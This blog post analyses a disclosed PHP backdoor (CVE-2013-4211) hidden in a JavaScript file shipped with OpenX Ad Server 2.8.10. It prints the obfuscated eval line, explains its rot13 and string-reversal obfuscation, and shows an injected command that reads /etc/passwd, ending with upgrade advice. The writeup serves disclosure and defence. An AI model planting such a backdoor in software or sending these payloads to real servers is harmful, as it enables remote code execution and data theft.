Skip to content ↓ | Skip to navigation ↓

Web developers and Marketing professionals who use OpenX Ad Server software should be aware that a remote code execution vulnerability via a PHP-based backdoor was recently discovered in OpenX Ad Server version 2.8.10.

In this blog post, I will give a brief overview of the backdoor and how it works. This backdoor vulnerability has been publicly disclosed and CVE-2013-4211 has been assigned to it.

The purpose of this article is to provide the reader with a short background on how PHP-based backdoors can be constructed and/or exploited using OpenX Ad Server and CVE-2013-4211 as a case study.

The backdoor is hidden, using some crude obfuscation, within a JavaScript file named “flowplayer-3.1.1.min.js”. Assuming one’s document root is located at /var/www, the infected flowplayer JavaScript file can be found under the following directory:


Here is the obfuscated PHP code that is embedded within the flowplayer-3.1.1.min.js JavaScript file (packaged with OpenX 2.8.10) that enables the back door:

eval ( $_[1]($_[0]( $_POST[$_[2]])) );

If we unroll the above three lines of code, we have the following “PHP translation” but in a more human readable form:

eval( str_rot13( strrev($_POST[vastPlayer]) ) );

With this PHP translation, we can see the inner details of the backdoor more clearly. But first, let me briefly explain the functions that are being used. The function strrev(x) is a PHP function that reverses its string input x, and the function str_rot13(x) is a PHP function that implements the rot13 algorithm. rot13 is a simple Caesar cipher with a 13 character shift (rotation).

rot13 is used quite often for data obfuscation because it is an involutary ‘inverse of itself’ function such that rot13( rot13(x) ) = x. Note also that string reversal is a trivial involution. The main purpose of the strrev(x) and str_rot13(x) used by this backdoor is simply to obfuscate the commands that are being delivered to the backdoor so that data logged by the attacked web server does not readily reveal backdoor activity or so that the activity is not detected by other security tools such as intrusion detection systems. Finally, eval(x) is the PHP eval function, which takes a string argument and processes it as native PHP code.

Essentially, the backdoor is based on an exposed PHP eval function operating on attacker-supplied data delivered by the HTTP POST mechanism. First, the code looks for data associated with an HTTP POST argument named ‘vastPlayer’, which will be supplied by the attacker.

The code expects this POST argument’s data to be delivered as a PHP command encoded as a string that has been reversed and rot13’d. The code extracts the data bound to the vastPlayer argument, then reverses it, then rot13’s it, and then sends the result to the PHP eval(x) function, which does the real work.

The last thing needed for understanding this backdoor is the how: how do we load the backdoor’s code? This is achieved with a URL encoded similar to the following:


To investigate this backdoor, I installed a vulnerable version of OpenX Ad Server within my private test network and developed a generic Python script that exploits the backdoor.

A simple exploit for this backdoor can be implemented with about 5-20 lines of Python code. The following is a particular command string with an output response of the backdoor shown in Figure 1 below:

cmdStr = ‘echo \’BACKDOOR_BEGINS_EXECUTION_HERE\’;system(\’cat /etc/passwd\’);die();’


Figure 1: Output from injected command string (click the figure for better resolution).

The first part of the output is the JavaScript text from the flowplayer-3.1.1.min.js file. This gets displayed by my exploit code until the JavaScript reaches the embedded PHP backdoor code. At that point, you can see the string “BACKDOOR_BEGINS_EXECUTION_HERE”—from the figure, this is precisely where the backdoor code execution begins. Next, and seen from the command string (cmdStr) above, the file /etc/passwd is read.

For my vulnerable OpenX Ad server, the /etc/passwd file starts with “root:x:0:0:root:/root:/bin/bash”, which follows the BACKDOOR_BEGINS_EXECUTION_HERE string in the figure. The complete set of data output by my exploit using the cmdStr above is highlighted in Figure 1. For this example, the last part of the command that is injected into the backdoor is the PHP die() function, which terminates the invoked PHP backdoor process.

If you are using OpenX Ad Server version 2.8.10, you should upgrade ASAP. It is possible that versions of OpenX Ad Sever prior to version 2.8.10 are also affected. At the time of this writing, the latest version is 2.8.11.


Related Articles:


P.S. Have you met John Powers, supernatural CISO?


Title image courtesy of ShutterStock

<!-- -->